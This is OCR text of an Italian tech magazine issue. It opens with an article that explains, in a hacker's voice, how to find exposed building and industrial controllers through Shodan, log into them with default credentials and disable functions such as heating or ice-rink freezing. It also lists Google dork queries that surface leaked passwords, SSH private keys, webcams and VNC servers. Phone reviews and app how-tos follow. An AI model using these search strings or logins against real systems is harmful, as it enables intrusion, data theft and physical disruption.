completo controllo del dispositivo. Nell’esempio che vediamo in figura, si 
tratta di una caldaia a metano che porta l’acqua a 80° C. 


v II pirata burlone! 

5 3 II criminale, quindi, può carpire informazioni importanti sulla sua 
vittima ma può anche creare qualche disagio. Per esempio, può 
spegnere la caldaia, lasciando al freddo l’edificio. Uno scherzo piuttosto 
di cattivo gusto, anche considerando che difficilmente le vittime potranno 
capire cosa effettivamente abbia spento la caldaia. 


^ Anche da remoto 

0 j Si trovano veramente molti dispositivi e alcuni di questi sono acces- 
—- sibili anche tramite teinet. L'accesso teinet sui sistemi Siemens non 
è protetto da password, quindi il pirata può avere un controllo completo sul 
file System (e infatti i Web server vengono spesso “defacciati’’). Nell’Im¬ 
magine si vede l’accesso a un impianto di produzione di pedane in legno. 
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0 Altri “giocattoli” per il pirata 

Alcuni Web server vengono utilizzati per gestire gli impianti di interi edifici. È fàcile immaginare che se questi non 
sono sicuri, i pirati possono “entrare’’ fàcilmente e creare tanti disagi. 





▲ì II pirata cerca la vittima 

■| I Gli smartserver i.Lon prodotti da Echelon 
SmmJ sono utilizzati per controllare edifici o addi¬ 
rittura complessi di edifici. Per trovarli il pirata cer¬ 
ca su Shodanhq la parola Uon, in modo da otte¬ 
nere una lista. L'immagine si riferisce a un centro 
ricreativo con una palestra da basket in Florida, ma 
si trovano anche strutture più grandi. 


▲ i A volte basta una parola 

2 I Appena trova un indirizzo IR il pirata pro- 
SmmJ va a entrare tramite l'interfaccia web, che 
lavora sulla porta 8080. Quindi aprendo col proprio 
browser l’indirizzo http://24.227.XX.XXX:8080/e(i 
inserendo ilon sia come nome utente che come 
password, il criminale dovrebbe avere accesso al 
server, controllando tutti i dispositivi collegati. 


▲ | Controllo dal terminale 

2 I Gli smart server possono essere controllati 
tramite teinet: con il comando proxychains 
telnet24.227.XX.XXXe inserendo le stesse cre¬ 
denziali di accesso, il criminale riesce a disattivare 
alcune funzioni del server. Per esempio, disattivando 
il sistema di congelamento di una pista di pattinag¬ 
gio sul ghiaccio può far fondere il ghiaccio stesso! 


GOOGLE HACKS: LO SHODAN SECONDO IL MOTORE DI RICERCA BIG G 



No, non è un nuovo prodotto della 
serie Google Maps e Google Docs: i 
Google Hacks sono dei trucchi (in in- 
glese"hack") che permettono ai pirati 
di trovare con il motore di ricerca di 
Mountain View cose che, normalmen¬ 
te, dovrebbero essere nascoste... Un 
pirata può decidere di bombardare 
centinaia di persone con e-mail con¬ 
tenenti trojan. Eseguendo la query 
di ricerca allintext:email OR mali 
+*gmail.com filetypeitxt, invece, fa 
incetta di file .txt con indirizzi e-mail 
privati. Si possono ottenere anche 
elenchi di clienti di varie aziende 
usando la query allintext:email OR 
mali -i-*gmail.com ANO Client AND 
postai fìletypexsv. Carpire password 
di accesso ai siti nei database SQL? La 
stringa di ricerca allintext:email AND 
pass AND"insert into"filetype:sql 
fornisce risultati sconvolgen¬ 
ti. Le password potreb¬ 
bero essere cifrate 
con algoritmo 
MD5, ma con r 
un semplice 

1 

programma 


di confronto stringhe di tipo 'brute 
force" il pirata può risalire alla pas¬ 
sword in un paio d'ore. Per leggere 
la password di accesso a un databa¬ 
se MySQL il pirata cerca su Google 
intext:mysqLconnect filetype:inc e 
spulcia tra i vari risuitati... Per scoprire 
le chiavi RSA private delle persone, 
invece, la query è intitleiindex 
intext:.ssh: la ricerca restituisce 
aicune cartelle l.sshi; il file id_rsa 
contiene la chiave privata con la 
quale si possono leggere i mes¬ 
saggi della vittima oppure firmare 
digitalmente false e-mail. È un 
furto di identità digitale, si tratta 
di qualcosa di estremamente pe¬ 
ricoloso: è inutile lamentarsi con 
l'NSA dei fatto che leggono la no¬ 
stra posta, se poi siamo noi stessi 
a fornire loro la chiave crittografica 
per la nostra posta privata! Acce- 


r 


dere a Webcam gestibili da remoto 
con Google? Basta utilizzare la query 
di ricerca inurl:"viewerframe?mod 
e=refresh''. Entrare nel pannello di 


controllo on-line delle stampanti? Con 
la stringa inurl;page=printerlnfo si 
ottiene facile accesso alle impostazio¬ 
ni di una stampante di rete. Trovare 
server VNC? i server VNC (come quelli 
, che abbiamo visto nel caso degli 
impianti industriali Siemens) 
‘ hanno spesso una interfac¬ 
cia Web, a cui si può accedere 
usando la porta 5800 e cer¬ 
cando su Google intitle:vnc. 
desktop inurl:5800. 
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WINDOWS PHONE Q ANDROID «a IPHONE □ SYMBIAN a BLACKBERRY 



Acer mette 
il touch al 

Chromebook 



Il famoso produttore 
prova a introdurre 
su Chrome OS una 
soluzione dotata di 
touchscreen già vista 
sui notebook basati 
su Windows 8 p. 94 



La famìglia Lumìa 
cresce ancora 


Nokia ha presentato il Lumia 525, 
terminale Windows Phone 8 che 
prenderà il posto del 520 p .94 


SI FA così 


B TUTTI I SEGRETI 

DI ANDROID KITKAT p o? 

Ottimizzato per girare anche sui 
dispositivi di fascia bassa, promette 
un'eccellente facilità d'uso 



CREDITO A RISCHIO 
CON WHATSAPP ps 

Occhio a configurare tutto 
correttamente l'app per non bruciare 
li credito! 


AAAGAZINE 
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Il Galaxy che sembra un Note 

Il Grand 2 dì Samsung, esteticamente sìmile al Galaxy SAMSUNG 

Note 3, nasconde però una dotazione di fascia media I 0 9 


S amsung ha presentato il 
Galaxy Grand 2, uno smar¬ 
tphone Android 4.3 Jelly Bean 
con schermo LCD TFT da 5,25 
pollici (1280x720 pixel) e inter¬ 
faccia TouchWiz, che implemen¬ 
ta le funzioni Hub, Story Album, 
Group Play, S Translator, S Tra- 
vel. Sound & Shot e Best Shot. 
Il dispositivo è dotato di un pro¬ 
cessore quad core da 1,2 GHz, 1,5 
GB di RAM e 8 GB di spazio per 
l'archiviazione dati espandibili 


tramite microSD. La fotocame¬ 
ra posteriore è da 8 megapixel, 
mentre quella frontale da 1,9 
megapixel. 

Non mancano moduli HSPA-h, 
Wi-Fi, Bluetooth 4.0, GPS e sup¬ 
porto dual SIM. La batteria è 
da 2.600 mAh. La scocca dello 
smartphone è simile a quella in 
finta pelle del Galaxy Note 3. Al 
momento non sono noti né il 
prezzo né la disponibilità. 
www.samsung.com 


sawsuNB 


SAMSUNG 


VUZIXBAHE 
GOOGLEGLASS 
SUL TEMPO! 

I Vuzix MI 00, concor¬ 
renti degli occhiali in¬ 
telligenti di Google, si 
possono già prenotare 
al prezzo di mille dol¬ 
lari. I tempi di conse¬ 
gna sono stimati tra 
le due e le quattro 
settimane, almeno 
per i clienti USA. Po¬ 
trebbero presto essere 
disponibili sul merca¬ 
to europeo. 
www.vuzix.com 


L'Androìd trasformabile 


I l Transformer Pad TF701T, modello di punta della gamma dei di¬ 
spositivi "trasformabili" di Asus, è in vendita in Italia ai prezzo di 499 
euro. Basato sul sistema operativo Android 4.2 Jelly Bean, integra un 
processore NVIDIA Tegra 4, ma il vero plus è senz'altro il display IGZO 
da 10,1 pollici con risoluzione di 2560x1600 pixel. È dotato anche di 
Mobile Dock con interfaccia USB 3.0. La configurazione prevede 2 GB 
di RAM e uno spazio di archiviazione di 32 GB. Integra una batteria 
che garantisce un'autonomia di circa a 13 ore, alle quali si aggiungo 4 
ore fomite dalla batteria presente nella Dock. Il dispositivo integra la 
tecnologia Miracast per lo streaming video Wi-Fi. É dotato di uscita 
video HDMI e di due fotocamere, una frontale da 1,2 Megapixel e una 
posteriore da 5 Megapixel che permette di registrare video a 1080p. 
La dock integra inoltre una porta USB 3.0 e mette a disposizione un 
vano per schede SD, che va ad affiancarsi a quello microSD del tablet. 


Arriva l'Oppo NI 

I n Italia è da poco disponibile lo smartphone NI della cinese Oppo, 
ideatrice del più noto Find. Si tratta di un terminale da circa 6 pollici. Il 
prezzo previsto per il nostro mercato è di 449 euro. È possibile scegliere 
tra l'integrazione di Color OS, un adattamento di Android 4.2 prodotto 
dalla stessa Oppo, oppure farsi arrivare il terminale con la CyanogenMod 
preinstallata. Oltre allo schermo da 5,9 pollici (IPS, 1920x1080 pixel, 377 
ppi), prevede 16 o 32 GB di spazio per l'archiviazione, non espandibili. Lo 
smartphone si basa su di un SoC Qualcomm Snapdragon 600 (1,7 GHz) 
con GPU Adreno 320 e 2 GB di RAM. La batteria è da 3610 mAh. È dotato 
inoltre di una particolare fotocamera da 13 megapixel (f2.0), sia frontale 
che posteriore, montata su un supporto rotante (206 gradi). Disponibile 
anche un telecomando Bluetooth per scattare fotografie a distanza. 
www.oppo.it 



NIENTE PIU 
3DMARK 
PERHTCE 
SAMSUNG! 

I dispositivi HTC e Sam¬ 
sung, rei di cambiare 
comportamento con 
il suo benchmark in 
azione, abilitando una 
modalità ad alte pre¬ 
stazioni non raggiun¬ 
gibile nell'uso quoti¬ 
diano, sono stati messi 
al bando dal punteg¬ 
gio. Gli aitri produttori 
sono avvisati... 
www.futuremark.com 
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Lab Test 


Androìd a tutta potenza 

Il Nexus 5 sfrutta appieno tutte le potenzialità della nuova versione KitKat 


LGNEXUS5(16GB) 

LG •www.lg.it 


B asato nativamente sull'ultima 
versione Android KitKat, questo 
terminale LG vanta tra le sue caratteri¬ 
stiche di maggior pregio un display da 
4,95 pollici in tecnologia HD-IPS. Nella 
confezione di vendita una dotazione 
standard che include un piccolo ma¬ 
nuale, un caricabatteria con porta USB, 
un cavo dati USB/Micro-USB ed una 
graffetta per estrarre la SIM in formato 
micro. Nexus 5 è disponibile in due va¬ 
rianti di colore, nera e bianca, e con due 
dotazioni di memoria, 16 o 32 GB non 
espandibili. Buona l'ergonomia, grazie a 
peso e dimensioni contenute, alla cover 
posteriore in policarbonato rivestita da 
una superficie leggermente porosa e ai 
bordi arrotondati. Nexus 5 è spinto da 


un processore Qualcomm Snapdragon 
8CX) MSM8974 quad core Krait 400 da 2.3 
GHz, affiancato da una GPU Adreno 330 
(S)450MHz e 2 GB di RAM, quanto basta 
per far girare il sistema a dovere. Il device 
supporta reti quadribanda GSM/GPRS/ 
EDGE, cinque bande UMTS/HSPA-i- (42 
Mbps/5.76 Mbps) e sei bande LTE Cat 3. 


S.O.: Android 4.4 • CPU: Snapdragon 800 a 2.26 GHz 
Memoria: 16/32 GB • Autonomia: 1.020 minuti (conv.); 300 
ore (standby) • OimVPeso: 137,84 x 69,17 x 8,59 mm/130 
grammi • Display: 4,95', 1080x1920 pixel • Extra: Flash 
LEO, Zoom, Autofocus 
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BlackBerry 




BLACKBERRYZ30 

BLACKBERRY • www.blackbeny.com 

B asato sul sistema operativo pro¬ 
prietario BlackBerry OS 10.2, il nuo¬ 
vo smartphone della casa canadese 
vanta, tra le sue specifiche principali, 
un performante display da 5 pollici 
con risoluzione 720x1280 pixel e una 
densità di 249 ppi. La confezione di 
vendita include un paio di cuffie auri¬ 
colari di buona qualità con cavo piatto 
e tasto di risposta, un cavo dati USB/ 
Micro-USB, un caricabatteria con por¬ 
ta USB ed un secondo caricabatteria 
con porta USB e presa inglese. Z30 
è disponibile solo nella colorazione 
nera e, nonostante peso e dimensio¬ 
ni non proprio contenute, vanta una 
buona ergonomia, merito dei bordi 
leggermente arrotondati e della cover 
posteriore realizzata in fibra di vetro e 
lievemente gommata. Sotto la cover, un 


processore Qualcomm Snapdragon Pro 
MSM8960T dual core Krait da 1.7 GHz 
con GPU Adreno 320 e 2 GB di RAM. 
La memoria integrata è di 16 GB ed è 
espandibile tramite schede microSD. 
Prestazioni molto buone sotto tutti i 
punti di vista, dalla qualità audio alla 
ricezione, dalla navigazione in Rete alla 
messaggistica fino alla multimedialità 
e all'autonomia della batteria. 


S.O.: BlackBerry OS 10.2 • CPU: Oual Core 1.7 GHz • 
Memoria: 16 GB • Autonomia: 1.080 minuti (conv.), 
384 ore (stand-by) • Dim/Peso: 140,7 x 72 x 9,4 mm /170 
grammi • Display: 5" 720x1280 pixel • Extra: A-GPS, Zoom, 
Autofocus, Flash LED 
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Lab Test 
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Un phablet non per tutti 

Eleganza e potenza sono i punti di forza del device ibrido di HTC 


HTCONEMAX 

HTC • www.htccom 

H TC One Max è offerto in una con¬ 
fezione che include un cavo dati 
USB/Micro-USB, un caricabatteria con 
porta USB, una graffetta per l'estrazione 
delle Micro-SIM ed una cuffia auricola¬ 
re stereo "in ear"di buona fattura con 
cavo piatto e tasto di risposta. Esteti¬ 
camente curato, One Max ostenta un 
design ricercato e un'ottima ergonomia 
nonostante le generose dimensioni, 
merito anche della scocca in allumi¬ 
nio con bordi affusolati e della leggera 
curvatura sul dorso. Al suo interno un 
processore APQ8064 Snapdragon 600 
quad core Krait 300 da 1.7 GHz, una GPU 
Adreno 320 e 2 GB di memoria RAM. La 
memoria integrata è da 16 GB/32 GB 
espandibili tramite schede microSD. 
Ottima la resa del display, un 5.9 pollici 


con risoluzione 1920x1080 e densità di 
ben 373 ppi. Così anche l'autonomia, 
che grazie alla batteria da 3.300 mAh 
permette di arrivare fino a 36 ore di 
utilizzo intensivo. Ideale per chi non si 
spaventa delle dimensioni, HTC One 
Max combina le funzionalità di uno 
smartphone e di un tablet evoluti ma 
con la comodità di un solo dispositivo. 


S.O.: Android • CPU: Quad Core 1.7 Gite • Memoria: 16/32 GB 
Autonomia: 1.500 minuti (conv.); 585 ore (stand-by) • Dim/ 
Peso: 164,5 * 82,5 x 10,29 mm/217 grammi • Display: 5,9’ Full 
HD-Extra: Flash LED,Videol080p 


IL GIUDIZIO DELLA REDAZIONE 


DOTAZIONE 

■■■■■■ 

ERGONOMIA 


_ 

MULTIMEDIALITÀ 


CHI LO USA LA PENSA COSÌ 


i ijDESIGlg CARATTERISTlCHETPfiESTAZIONI 7 | 



Touch in punta di pennino 



ALCATEL ONE TOUCH 
SCRIBE HD 

ALCATEL • www.alcatelonetouch.com 

S cribe HD è il nuovo smartphone a 
doppia scheda prodotto da Alcatei 
che va ad arricchire la rinomata lineup 
OneTouch. Disponibile in 4 varianti di 
colore, è offerto corredato di un pen¬ 
nino capacitivo con punta gommata, 
una cover con attacco magnetico, un 
caricabatteria con porta USB, un cavo 
dati USB/Micro-USB, una cuffia aurico¬ 
lari di tipo "in ear''e un manuale rapido. 
Materiali e assemblaggio sono di qua¬ 
lità. Decisamente buona l'ergonomia 
grazie ai bordi bombati e agli angoli 
smussati. Sotto ircofano", un processore 
MediaTek MTK6589 quad core Cortex- 
A7 da 1.2 GHz ed 1 GB di memoria RAM, 
connubio che restituisce prestazioni 
all'altezza delle aspettative. Dual SIM 
Dual Standby, Scribe HD supporta le reti 


quadribanda GSM/GPRS/EDGE e dual 
band UMTS/HSPA-i- (42 Mbps/11 Mbps). 
Il 3G è attivabile, a scelta, solo su una 
delle due SIM cosi come il roaming dei 
dati. Tra le altre caratteristiche segna¬ 
liamo Wi-Fi 802.11 b/g/n monobanda, 
Wi-Fi Direct, Wi-Fi hotspot, Miracast, 
Bluetooth 4.0, A-GPS e DINA. Durante 
i test lo smartphone si è comportato 
egregiamente, restituendo risultati 
apprezzabili in tutte le prove. 


S.O.: Android 4.2 • CPU: Coitex A71.2 GHz • Memoria: 4 
GB • Autonomia: 300 minuti (conv.), 250 ore (stand-by) 
Dim/Peso: 144 x 75 x 8,5 mm 135 grammi • Display: 5" 
720x1280 pixel • Extra: A-GPS, Zoom, Autofocus, Flash-Led 


--^- 

IL GIUDIZIO DELLA REDAZIONE 85/100 

DOTAZIONE 

USABILITÀ 

■■■»■■■■. 


ERGONOMIA 

MULTIMEDIALITÀ 

■ 

■ 

■ 

s 

■ 

1 

■ 

s 

s 

1 

■ 

■ 

■ 


CHI LO USA LA PENSA COSI 


iì DESIGN t CARATTERISTICHE a PRESTAZIONI t 


Gennaio 2014 Win Magatine 97 

















































Lab Test 



Dual SIM per ogni tasca 

Ecco il nuovo Z3 di Acer, adatto all'uso quotidiano mediamente intensivo 


ACERZ3 

ACER • www.acer.it 

Z 3 è lo smartphone a doppia scheda 
prodotto da Acer per l'utenza entry- 
level. È venduto in due varianti di colore, 
nera e bianca. In dotazione sono forniti, 
oltre alla classica manualìstica rapida, un 
caricabatteria con porta USB, un cavo 
dati USB/Micro-USB, una batteria al litio 
da 1.500 mAh e una cuffia auricolare 
stereo. Ergonomia e confort d'uso so¬ 
no ai massimi livelli, merito della cover 
posteriore gommata ma anche del peso 
contenuto e delle dimensioni assoluta- 
mente compatte. Il cuore pulsante di 
questo nuovo smartphone è costituito 
da un efficiente processore Dual Core 
da 1 GHz prodotto da Mediatele, a sua 
volta affiancato da 512 MB di memo¬ 
ria RAM e 4 GB di memoria integrata 
espandibile tramite schede microSD. Il 


telefono supporta le reti quadribanda 
GSM/GPRS/EDGE e dual band UMTS/ 
HSPA (21 Mbps/5.76 Mbps) su entram¬ 
be le SIM, ma non simultaneamente. 
Prestazioni più che sufficienti in tutte 
le prove. Buone sia la ricezione sia la 
qualità audio, efficiente la gestione della 
messaggistica, rapida e senza impunta¬ 
menti la navigazione in Rete. 


S.O.: Android 4.2 • CPU: Dual Core 1 GHz • Memoria: 4 GB 
espandibili tramite schede microSD • Autonomia: n.d. 
DimVPeso: 109 x 60 x 10,4 mm/120 grammi • Display: 
3,5", 320x480 pixel ■ Extra: flash LEO, Radio 
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L'evoluzione del re dei tablet 



REGISTRAZIONE VIDEO FUUHD ^ 


WIFI DOPPIO CANALE^ 


APPLE IPAD AIR (16 GB) 

APPLE •www.3pple.it 

E steticamente è sempre lui, il rico¬ 
noscibilissimo iPAD, ma questa 
volta è stato ribattezzato AIR. Finitu¬ 
re e materiali sono, come al solito, di 
qualità elevatissima e fanno da cornice 
ad un display retina da 9,7 pollici con 
risoluzione 2048x1536 pixel. Rispetto 
alla generazione precedente, AIR offre 
un profilo più sottile, appena 7,5 mm, 
e un peso decisamente più light, am¬ 
piamente sotto i 500 grammi. Numeri 
che fanno sicuramente la differenza. 
Lo stesso dicasi per le prestazioni, che 
grazie all'architettura a 64 bit del nuovo 
processore A7 lasciano piacevolmente 
colpiti per fluidità e velocità, anche a 
fronte di applicazioni davvero pesanti 
ed esose di risorse. La doppia anten¬ 
na e la tecnologia MIMO garantiscono 
connessioni stabili e veloci in qualsiasi 


circostanza d'uso, mentre lo sterminato 
catalogo di applicazioni, che conta allo 
stato attuale quasi mezzo milione di 
app di qualsiasi genere, consente dav¬ 
vero di specializzare le funzionalità di 
questo eccellente tablet sulle esigenze 
specifiche di ciascuno di noi. Anche in 
questa occasione Apple non si è smen¬ 
tita sfornando una nuova tavoletta che 
per caratteristiche e prestazioni non è 
seconda a nessuna. 


S.O.: Apple iOS 7 • CPU: A7 64bit • Memoria: 16/32/64/128 
GB • Autonomia: 10 ore • Dim/Peso: 240 x 169,5 x 7,5 
mm / 478 grammi • Display: 9,7" 2048x1536 pixel • Extra: 
Autofocus, diaframma f/2,4. Foto HDR 
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Si fa così 



Ufi 


net 


Le app di instant messaaina sono una valida alternativa ai 

vecchi SMS. Ma occhio a configurare tutto correttamente! 


Credito a rischio 
con WhatsApp 


Cosaci 
occorre 

.-.«v - '■ 

APP DI MESSAGGtSTÌO». l 

WHATSAPP I 

Quanto costa; Gratuita ; 

i Silo internet S 

https-i/play.google.com t 

Note; L’app è disponibile I 
anche per dispositivi 
su http;// 
apple.com 



J 



L a Nokia di qualche anno fa, quella precedente all'acquisizione da 
parte di Microsoft insomma, recitava: always connected, sempre 
connessi. Con gli smartphone e i servizi di instant messaging 
quello slogan un po' presuntuoso è diventato realtà. Oggi per chi ne 
ha voglia è possibile chattare in tempo reale scambiandosi impressioni, 
stati d'animo oppure immagini e video. Ma è proprio sulle immagini e 
i filmati che casca l'asino, o meglio il credito delle nostre schede telefo¬ 


niche. Già, perché la maggior parte di noi, presi dal voler condividere 
tutto in tempo reale, anche con persone che magari non si conoscono, 
non si cura se la connessione è Wi-Fi o 3G. Risultato? Il traffico dati 3G si 
esaurisce in pochi giorni e l'instant messaging comincia a costarci caro. 
Per fortuna con qualche configurazione possiamo metterci al riparo 
da brutte sorprese. Scopriamo come, studiando la configurazione di 
Whatsapp, uno dei più popolari servizi di instant messaging. 


B 

- -IHl ? 12:23 

((^Impostazioni 

? Aiuto 


© Info 



Huando utilizzi la rete mobile 


immagine 

audio 

video 


□ 

□ 

□ 


Quando connesso tr imite '.V 


immagine 


audio 

a 

video 



Il download è automatico 

Alla prima installazione WhatsApp viene con¬ 
figurato in modo da scaricare automaticamen¬ 
te le immagini tramite la connessione mobile 
per fornire un accesso rapido alle uitime foto che i tuoi 
contatti ci stanno inviando. Per evitare di bruciare il 
credito possiamo modificare le impostazioni. 


Impostiamo la rete giusta 

Dalla schermata principale di WhatsApp clic- 
chiamo su Menu/lmpostazioni/lwpostazioni 
Chat/Scarìca media automaticamente. Nella 
nuova videata premendo Quando utilizzi la rete mobile 
possiamo scegliere cosa WhatsApp può scaricare se 
connessi alla rete del nostro gestore. Impostiamo Audio. 


Atu ttoWi-R 

Spostiamxi ora sulla voce Quando connes¬ 
so tramite Wi-Fi e verifichiamo che siano 
spuntate tutte e tre le voci presenti: immagini, 
video, audio. In questo modo il nostro smartphone sca¬ 
richerà automaticamente gli allegati inviati dai nostri 
contatti, soltanto se connesso ad una rete Wi-R! 





PER CHI NON AMA WHATSAPP 





Bmtte notizie per gli amanti di We- 
Chat. Entrando nelle impostazioni 
da lo/lmpostazioni scopriamo che. a differenza di 
WhatsApp non esiste la possibilità di configurare l’au¬ 
to download degli allegati. Unica possibilità è monito¬ 
rare il traffico da Impostazioni/Dati del traffico. 


Neanche Line consente di configurare l'auto 
^iNE ' download dei contenuti multimediali. Esiste 
WidÉ tuttavia la possibilità di decidere la qualità in 
cui scaricare gli allegati. Da Impr^tazioni/Chato Chia- 
mate/Quaiità foto inviate impostiamo Bassa in modo 
da ridurre il consumo di traffico 3G. 


D II nome Tango la dice lunga su questa app. Si 
danza in punta di dita tra chat, invio di imma¬ 
gini e possibilità di scaricare musica: un'app a 
tutto svago, per divertirsi a cuor leggere senza badare 
troppo ai costi. Forse è per questo motivo che non vi 
sono strumenti di configurazione. 
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Si fa così 


Con la giusta app puoi realizzare e condividere sul Web 

fantastiche presentazioni multimediali. Ecco come fare 


Slideshow animati 
a portata di tap 


S e sul nostro dispositivo abbia¬ 
mo memorizzato decine di fo¬ 
to e filmati di qualsiasi genere 
che vogliamo condividere con i nostri 
amici, un'idea sicuramente simpatica 
è quella di confezionare una presen¬ 
tazione multimediale. Per farlo diret¬ 
tamente dal nostro iPhone possiamo 
ricorrere a ProShow Web Slideshow 
Creator, un'app gratuita che permet¬ 
te creare, velocemente e ovunque ci 
troviamo, slideshow animati ad effet¬ 
to e adatti a qualsiasi occasione (feste 
di compleanno, matrimoni, vacanze. 


ecc), grazie ai numerosi temi a dispo¬ 
sizione. Per ogni creazione possiamo 
aggiungere un titolo e applicare ef¬ 
fetti di transizione per rendere più at¬ 
traente il passaggio da una foto all'al¬ 
tra. Naturalmente, la presentazione 
potrà essere personalizzata con una 
musica di sottofondo. Anche in que¬ 
sto caso l'app ci mette a disposizio¬ 
ne una selezione di musiche pronte 
per essere applicate, ma si possono 
anche usare i brani presenti nella li¬ 
breria del proprio iDevice. Quando 
lo slideshow è pronto, basta un tap 


e, in pochi secondi, sarà pronto per 
essere salvato o condiviso con i no¬ 
stri amici tramite e-mail o utilizzando 
uno dei vari social network Facebo- 
ok, YouTube, Twitter e altri. ProShow 
Web Slideshow Creator in versione 
gratuita permette di creare presen¬ 
tazioni animate di breve durata con 
un massimo di 15 foto, mentre il vi¬ 
deo finale potrà essere salvato alla 
risoluzione di 360p. Per piccoli pro¬ 
getti la versione free è più che suffi¬ 
ciente e i risultati davvero belli: pro¬ 
vare per credere! 


Cosaci 

occorre 

APP PER IPHONE I 

PROSHOW WEB ’ 

SUOESHOW 

CREATOR 

Quanto costa: Gratuita 
Sito Internet 
http://stOFe.apple.com 

.. ^ 


IH Le operazioni preiiminari 

Come prima cosa, una volta installata e avviato ProShow Web Slideshow Creator sul nostro dispositivo, 
dobbiamo creare un account Fatto ciò potremo cominciare a lavorare al file della presentazione. 


Creiamo prima 

l’account... 



Avviata 
l'app, cre¬ 
iamo un 
nuovo account. 
Tocchiamo Sign Up 
Free, inseriamo la 
nostra e-mail, sce¬ 
gliamo una pas¬ 
sword e completia¬ 
mo con Create 
Account. Nella 
schermata succes¬ 
siva tocchiamo / 
Agree e poi Conti¬ 
nue. quindi confer¬ 
miamo l'account 
cliccando sui link 
inviato tramite e- 
mail. 



...epoi lo 

slideshow 

Tocchia¬ 
mo new 
in basso 
al centro. La ver¬ 
sione gratuita 
dell’app ci per¬ 
metterà di creare 
slideshow con 
massimo 15 foto 
e clip video da 10 
secondi. È possi¬ 
bile sottoscrivere 
abbonamenti a 
pagamento PLUS 
e PREMIUM per 
creare slideshow 
più lunghi, con più 
foto e a risoluzioni 
maggiori. 



• ••• 3 ITA T 


18:30 


100 %! 


You have no shows 


Tap thè New Show button to create a show 
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Sì fa così 


hjHBffllBHnen 


IO Presentazione “personalizzata” 

Grazie a ProShow Web Slideshow Creator possiamo realizzare in modo semplice e rapido slideshow animati ricchi 
di musica, filtri ed effetti. Una volta pronte potremo condividerli on-line con i nostri amici 



Scegliamo 
il tema grafico 


H Per facilitar¬ 
ci nella cre¬ 
azione delia 
presentazione, pos¬ 
siamo usare alcun 
temi predefiniti per 
ottenere subito ottimi 
risultati. Toccando 
Themes si apre ii 
pannello per filtrare I 
temi in base alle ca¬ 
tegorie. Per ogni te¬ 
ma possiamo visua¬ 
lizzare un’anteprima 
con play. 



Aggiungiamo 

foto e video 


a Scelto il te¬ 
ma, tocchia¬ 
mo Create e 
aggiungiamo le foto e 
i video. Tocchiamo + 
in basso o e dal pan¬ 
nello che si apre deci¬ 
diamo se aggiungere 
le foto dal rullino o 
scattarle al momento 
(nel nostro caso sce¬ 
gliamo la prima opzio¬ 
ne). Confermiamo il 
caricamento delle foto 
toccando Additem. 


Un titolo allo 

slideshow 

Tocchiamo 
nuovamen¬ 
te il tasto + 
e selezioniamo We 
per aggiungere un 
titolo al nostro slide¬ 
show. Digitiamo il 
testo da inserire co¬ 
me titolo e confer¬ 
miamo con Done. 
Servendoci del dito, 
trasciniamo le foto 
da una posizione 
all’altra per modifi¬ 
carne l'ordine a pia¬ 
cimento. 




f Kw;;. 


Add Photos Next 


i 


Gli effetti di 

tran sizione 

Toccando 
FX aggiun¬ 
giamo gli 
effetti di transizione: 
quelli disponibili so¬ 
no mostrati in basso 
e possiamo scorrer¬ 
li col dito. Come per 
i temi, toccando il 
tasto in basso al 
centro, si apre il 
pannello per filtrare 
gli effetti. Seleziona¬ 
to quello desiderato, 
confermiamo con 
Apply. 



Crossfade (Blend) 



E adesso la 
co l onna sonora 

Tocchiamo 
texf per in¬ 
serire una 
colonna sonora alla 
presentazione. Pos¬ 
siamo usare un brano 
presente nella libreria 
del dispositivo o ser¬ 
virci di una delle mu¬ 
siche integrate gratu¬ 
itamente neH'app. 
Proseguiamo con 
Next per visualizzare 
un riassunto dei det¬ 
tagli dello slideshow. 




Scarichiamo 
e pu bblichiamo 

a Tocchiamo 
nuovamente 
Next e sce¬ 
gliamo Tap to build 
your video. Verrà av¬ 
viata la creazione del¬ 
la presentazione ani¬ 
mata. Al termine po¬ 
tremo condividerla sui 
servizi on-line integra¬ 
ti nell'app o salvarlo 
nel rullino fotografico. 
Con la versione gratu¬ 
ita il video verrà crea¬ 
to a 360p. 
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Sì fa così 
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Ottimizzato anche per dispositivi poco potenti, promette un'eccellente 

facilità d'uso. Ecco le novità del nuovo "biscotto" targato Gooale 


Tutti i segreti 
dì Androìd KìtKat 


G li ultimi dati pubblicati da Gartner Group 
(www.gartner.com) relativi alle vendi¬ 
te di smartphone nel primo trimestre 
del 2013 confermano il grande successo della 
piattaforma Android. Il sistema operativo Go- 
ogle, infatti, è installato sul 75% dei telefoni- 
ni: nei primi tre mesi di quest'anno sono stati 
ben 156 milioni gli smartphone Android ven¬ 
duti in tutto il Mondo, su un totale di 210 milio¬ 
ni. Numeri ancora più impressionanti se si pen¬ 
sa che gli smartphone rappresentano ormai il 
49,3% dell'intero mercato della telefonia mobi¬ 
le. Forte di questo successo, lo scorso primo no¬ 
vembre Google ha rilasciato Android 4.4 KitKat 
con uno scopo ben preciso: portare una buo¬ 
na esperienza di utilizzo anche su smartphone 
con hardware poco potente. Una buona notizia 
per tutti gli utenti, che non si vedranno più co¬ 
stretti a cambiare spesso il proprio telefonino 
peravere un sistema operativo performante. 

Fai un break con KitKat! 

Al momento, il primo dispositivo a beneficia¬ 
re di questo importante aggiornamento di An¬ 
droid è stato il nuovo Nexus 5, smartphone 


creato da LG e venduto direttamente da Goo¬ 
gle sul suo Play Store, anche in Italia (www.go- 
ogle.it/nexus/5). Da Internet è comunque già 
possibile scaricare le versioni compatibili con un 
numero sempre maggiore di telefonini. Quel¬ 
lo che incuriosisce subito gli utenti del nuovo 



■ Un nuovo pacchetto per le famose barrette di 
cioccolato? No, semplicemente la schermata di avvio 
di Android 4.4. KitKat! 


sistema operativo è sicuramente il nome. Tut¬ 
te le versioni di Android hanno sempre avuto 
nome di dolciumi (Cupcake, Donut, Eclair, Fro- 
yo, Gingerbread, Honeycomb, Ice Cream San¬ 
dwich, Jelly Bean) e inizialmente la versione 4.4 
doveva chiamarsi Key Lime Pie. Poi improvvisa¬ 
mente Google annuncia un accordo con la mul¬ 
tinazionale Nestlè e ha ufficializzato il nome Ki¬ 
tKat tra lo stupore generale. L'accordo, inoltre, 
non si ferma al solo utilizzo del nome dei croc¬ 
canti biscottini: in commercio ci sono già ver¬ 
sioni speciali della famosa barretta di cioccola¬ 
to che permettono di vincere tablet Nexus 7 e 
buoni da 5 euro da utilizzare direttamente sul 
Google Play. Per partecipare a questo partico¬ 
larissimo concorso (valido fino al 28 dicembre 
2013) è sufficiente collegarsi alla pagina Web 
dedicata https://promo.kitkat.it e seguire le 
indicazioni. Ma le gustose novità, promettono 
sia dal quartier generale Google sia da quello 
